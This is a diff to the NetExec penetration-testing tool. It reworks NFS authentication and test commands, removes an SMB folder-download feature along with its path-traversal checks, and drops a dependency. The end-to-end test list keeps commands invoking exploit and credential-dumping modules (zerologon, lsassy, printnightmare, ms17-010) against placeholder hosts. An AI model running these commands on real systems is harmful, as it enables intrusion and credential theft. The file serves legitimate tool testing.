+                self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
+        if self.args.nfs_auth == "sys":
+            self.auth.update(directory_auth)
 
     def format_directory(self, raw_directory):
         """Convert the chained directory entries to a list of the entries"""
         if "resfail" in raw_directory:
             self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
-            return {}
+            return []
+        if not raw_directory["resok"]["reply"]["entries"]:
+            return []
         items = []
         nextentry = raw_directory["resok"]["reply"]["entries"][0]
         while nextentry:
@@ -900,10 +880,13 @@ class nfs(connection):
 
     def update_auth(self, file_handle):
         """Update the UID and GID for the file handle"""
-        attrs = self.nfs3.getattr(file_handle, auth=self.auth)
+        attrs = self.nfs.getattr(file_handle, auth=self.rpc_auth)
         self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
-        self.auth["uid"] = attrs["attributes"]["uid"]
-        self.auth["gid"] = attrs["attributes"]["gid"]
+        if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["uid"], int):
+            self.auth["uid"] = attrs["attributes"]["uid"]
+        if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["gid"], int):
+            self.auth["gid"] = attrs["attributes"]["gid"]
+        return attrs
 
 
 def convert_size(size_bytes):

nxc/protocols/nfs/proto_args.py

@@ -1,7 +1,11 @@
 def proto_args(parser, parents):
     nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
-    nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
-    nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)")
+    nfs_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NT hash(es) to use for Kerberos authentication")
+    nfs_parser.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", help="Kerberos realm/domain")
+    nfs_parser.add_argument("--port", type=int, help="NFS port to probe and connect to (default: 2049)")
+    nfs_parser.add_argument("--nfs-version", choices=("3", "4.0", "4.1", "4.2"), help="NFS protocol version (default: prefer 3, otherwise latest supported NFSv4)")
+    nfs_parser.add_argument("--nfs-auth", choices=("none", "sys", "krb5", "krb5i", "krb5p"), default="sys", help="NFS security flavor (default: %(default)s)")
+    nfs_parser.add_argument("--nfs-timeout", type=int, default=2, help="NFS connection timeout (default: %(default)ss)")
 
     dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration")
     dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")

nxc/protocols/smb.py

@@ -4,9 +4,6 @@ import os
 import re
 import struct
 import ipaddress
-from pathlib import Path
-
-from nxc.helpers.path import sanitize_filename
 from Cryptodome.Hash import MD4
 from textwrap import dedent
 
@@ -45,17 +42,16 @@ from impacket.smb3structs import (
     FILE_ADD_SUBDIRECTORY,
     FILE_DIRECTORY_FILE,
     FILE_OPEN,
-    FILE_READ_DATA,
     FILE_SHARE_DELETE,
     FILE_SHARE_READ,
     FILE_SHARE_WRITE,
     FILE_SYNCHRONOUS_IO_NONALERT,
-    FILE_WRITE_DATA,
     GENERIC_WRITE,
     SMB2_0_IOCTL_IS_FSCTL,
     WRITE_DAC,
     WRITE_OWNER,
 )
+
 from impacket.dcerpc.v5 import tsts as TSTS
 
 from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
@@ -322,7 +318,7 @@ class smb(connection):
         if not self.kdcHost and self.domain and self.domain == self.targetDomain:
             result = self.resolver(self.domain)
             self.kdcHost = result["host"] if result else None
-            self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -650,7 +646,7 @@ class smb(connection):
         return self.conn.isSigningRequired()
 
     def create_smbv1_conn(self, check=False):
-        self.logger.debug(f"Creating SMBv1 connection to {self.host}")
+        self.logger.info(f"Creating SMBv1 connection to {self.host}")
         try:
             conn = SMBConnection(
                 self.remoteName,
@@ -665,26 +661,26 @@ class smb(connection):
                 self.conn = conn
         except OSError as e:
             if "Connection reset by peer" in str(e):
-                self.logger.debug(f"SMBv1 might be disabled on {self.host}")
+                self.logger.info(f"SMBv1 might be disabled on {self.host}")
             elif "timed out" in str(e):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
             else:
-                self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
+                self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         except NetBIOSError:
-            self.logger.debug(f"SMBv1 disabled on {self.host}")
+            self.logger.info(f"SMBv1 disabled on {self.host}")
             self.smbv1 = False
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
+            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         return True
 
     def create_smbv3_conn(self):
-        self.logger.debug(f"Creating SMBv3 connection to {self.host}")
+        self.logger.info(f"Creating SMBv3 connection to {self.host}")
         try:
             self.conn = SMBConnection(
                 self.remoteName,
@@ -699,7 +695,7 @@ class smb(connection):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
             else:
-                self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
+                self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
             self.smbv3 = False
             return False
         return True
@@ -2153,108 +2149,24 @@ class smb(connection):
         for src, dest in self.args.put_file:
             self.put_file_single(src, dest)
 
-    def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
-        try:
-            self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
-            self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
-            return True
-        except SessionError as e:
-            if "STATUS_SHARING_VIOLATION" in str(e):
-                self.logger.debug(f"Sharing violation on {remote_path}: {e}")
-            else:
-                self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
-            return False
-        except Exception as e:
-            self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
-            return False
-
-    def get_file_single(self, remote_path, download_path, silent=False):
+    def get_file_single(self, remote_path, download_path):
         share_name = self.args.share
-        if not silent:
-            self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
+        self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
         with open(download_path, "wb+") as file:
-            if self.download_file(share_name, remote_path, file.write):
-                if not silent:
-                    self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
-            else:
-                self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
-                if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
-                    if not silent:
-                        self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
-                else:
-                    if not silent:
-                        self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
+            try:
+                self.conn.getFile(share_name, remote_path, file.write)
+                self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
+            except Exception as e:
+                self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
+                if os.path.getsize(download_path) == 0:
+                    os.remove(download_path)
 
     def get_file(self):
         for src, dest in self.args.get_file:
             self.get_file_single(src, dest)
 
-    def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
-        folder = ntpath.normpath(folder)
-        self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
-        base_folder = os.path.basename(folder)
-        self.logger.debug(f"Base folder: {base_folder}")
-
-        try:
-            items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
-        except SessionError as e:
-            self.logger.error(f"Error listing folder '{folder}': {e}")
-            return
-        self.logger.debug(f"{len(items)} items in folder: {items}")
-
-        filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
-
-        # create local directory structure regardless of content; download empty folders by default
-        # change the Windows path to Linux and then join it with the base directory to get our actual save path
-        relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
-        local_folder_path = os.path.join(dest, relative_path)
-
-        if not filtered_items and ignore_empty:
-            self.logger.debug(f"Skipping empty folder '{folder}'")
-            return
-
-        # create the directory for this folder
-        os.makedirs(local_folder_path, exist_ok=True)
-        if not filtered_items and not silent:
-            self.logger.display(f"Created empty directory '{local_folder_path}'")
-
-        for item in filtered_items:
-            item_name = sanitize_filename(item.get_longname())
-            if not item_name:
-                self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
-                continue
-            dir_path = ntpath.normpath(ntpath.join(folder, item_name))
-            self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
-
-            if item.is_directory() and recursive:
-                self.logger.debug(f"Found new directory to parse: {dir_path}")
-                self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
-            elif not item.is_directory():
-                remote_file_path = ntpath.join(folder, item_name)
-                local_file_path = os.path.join(local_folder_path, item_name)
-                # Defense-in-depth: verify path stays under destination
-                resolved = Path(local_file_path).resolve()
-                if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
-                    self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
-                    continue
-                self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
-
-                try:
-                    self.get_file_single(remote_file_path, local_file_path, silent)
-                except FileNotFoundError:
-                    self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
-
-    def get_folder(self):
-        recursive = self.args.recursive
-        ignore_empty = self.args.ignore_empty_folders
-        self.logger.debug(f"Recursive option set to {recursive}")
-        self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
-        for folder, dest in self.args.get_folder:
-            self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
-            self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
-
     def enable_remoteops(self, regsecret=False):
         try:
             if regsecret:

nxc/protocols/smb/proto_args.py

@@ -1,4 +1,4 @@
-from argparse import BooleanOptionalAction, _StoreTrueAction
+from argparse import _StoreTrueAction
 from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
 
 
@@ -23,7 +23,7 @@ def proto_args(parser, parents):
     smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
     smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
     smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
-    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
+    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
     smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
     smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
     smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
@@ -91,9 +91,6 @@ def proto_args(parser, parents):
     files_group = smb_parser.add_argument_group("File Operations")
     files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
     files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
-    files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
-    files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
-    files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
     files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
     cmd_exec_group = smb_parser.add_argument_group("Command Execution")

nxc/protocols/smb/samrfunc.py

@@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
 from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
 from impacket.nmb import NetBIOSError
 from impacket.smbconnection import SessionError
-from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
 from nxc.helpers.rpc import NXCRPCConnection
 
 
@@ -144,9 +143,7 @@ class LSAQuery:
 
     def lookup_sids(self, sids):
         """Use a list comprehension to generate the names list.
-        If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
-        Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
+
+        It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
         """
-        if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
-            return [WELL_KNOWN_SIDS[sids[0]]]
         return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]

poetry.lock

@@ -1652,46 +1652,6 @@ files = [
 [package.extras]
 nicer-shell = ["ipython"]
 
-[[package]]
-name = "netifaces"
-version = "0.11.0"
-description = "Portable network interface information."
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"},
-    {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4"},
-    {file = "netifaces-0.11.0-cp27-cp27m-win32.whl", hash = "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1"},
-    {file = "netifaces-0.11.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85"},
-    {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea"},
-    {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89"},
-    {file = "netifaces-0.11.0-cp34-cp34m-win32.whl", hash = "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4"},
-    {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4"},
-    {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b"},
-    {file = "netifaces-0.11.0-cp35-cp35m-win32.whl", hash = "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac"},
-    {file = "netifaces-0.11.0-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be"},
-    {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1"},
-    {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0"},
-    {file = "netifaces-0.11.0-cp36-cp36m-win32.whl", hash = "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7"},
-    {file = "netifaces-0.11.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8"},
-    {file = "netifaces-0.11.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246"},
-    {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5"},
-    {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9"},
-    {file = "netifaces-0.11.0-cp37-cp37m-win32.whl", hash = "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150"},
-    {file = "netifaces-0.11.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5"},
-    {file = "netifaces-0.11.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c"},
-    {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3"},
-    {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4"},
-    {file = "netifaces-0.11.0-cp38-cp38-win32.whl", hash = "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048"},
-    {file = "netifaces-0.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05"},
-    {file = "netifaces-0.11.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d"},
-    {file = "netifaces-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff"},
-    {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f"},
-    {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1"},
-    {file = "netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32"},
-]
-
 [[package]]
 name = "oscrypto"
 version = "1.3.0"
@@ -2993,4 +2953,4 @@ test = ["pytest", "pytest-cov"]
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<4.0"
-content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
+content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f"

pyproject.toml

@@ -31,7 +31,6 @@ dependencies = [
     "masky>=0.2.1",
     "minikerberos>=0.4.1",
     "neo4j>=5.0.0",
-    "netifaces (>=0.11.0,<0.12.0)",
     "paramiko>=3.3.1",
     "pefile (>=2024.8.26,<2025.0.0)",
     "pyasn1-modules>=0.3.0",

tests/e2e_commands.txt

@@ -44,7 +44,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-folder \\Windows\\Temp\\ /tmp/test_folder/
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check
 ##### SMB PowerShell
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
@@ -177,13 +176,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" ALL_PROPS=True DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True ALL_PROPS=True DOWNLOAD=False
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o ALL_PROPS=True DOWNLOAD=False
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors
 # test for multiple modules at once
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus
@@ -253,14 +245,6 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath
-# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer.
-netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list
-netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json
-netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json
-# These actions require the generated device ID for an automated round trip.
-#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add
-#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID
-#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
 # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
 #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
 ##### WINRM
@@ -350,8 +334,30 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
 netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
 netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
 ##### NFS
-netexec nfs TARGET_HOST -u "" -p "" --shares
-netexec nfs TARGET_HOST -u "" -p "" --enum-shares
-netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
-netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
-netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth none --shares
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --enum-shares
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --enum-shares
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --enum-shares
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5 --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5 --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5 --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5i --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5i --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5i --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5p --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5p --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5p --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-auth sys --shares
+netexec nfs TARGET_HOST --nfs-auth sys --enum-shares
+netexec nfs TARGET_HOST --nfs-auth krb5 --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-auth krb5i --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-auth krb5p --use-kcache --shares
+netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --get-file /NFStest/test/test.txt ../test.txt
+netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --put-file ../test.txt /NFStest/test
+netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --chmod 666 /NFStest/test/test.txt
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --share / --ls /
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --share / --ls /
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --share / --ls /
+netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --share / --put-file ../test.txt /pynfsclient/test.txt
+netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --share / --get-file /pynfsclient/test.txt ../test.txt
+netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --share / --chmod 666 /pynfsclient/test.txt

tests/test_ip_excluseion.py

@@ -1,311 +0,0 @@
-from unittest.mock import patch
-
-from nxc.parsers.ip import get_local_ip, parse_exclusions, parse_targets
-
-
-class TestGetLocalIP:
-    """Test local IP detection functionality."""
-
-    @patch("netifaces.interfaces")
-    @patch("netifaces.ifaddresses")
-    def test_get_local_ip_success(self, mock_ifaddresses, mock_interfaces):
-        """Test successful local IP detection via netifaces."""
-        # Mock available interfaces
-        mock_interfaces.return_value = ["lo", "eth0", "wlan0"]
-
-        # Mock addresses for each interface
-        import netifaces
-        mock_ifaddresses.side_effect = lambda iface: {
-            "lo": {netifaces.AF_INET: [{"addr": "127.0.0.1"}]},
-            "eth0": {netifaces.AF_INET: [{"addr": "192.168.1.100"}]},
-            "wlan0": {}
-        }.get(iface, {})
-
-        result = get_local_ip()
-
-        assert result == "192.168.1.100"
-        mock_interfaces.assert_called_once()
-
-    @patch("netifaces.interfaces")
-    @patch("netifaces.ifaddresses")
-    def test_get_local_ip_skip_localhost(self, mock_ifaddresses, mock_interfaces):
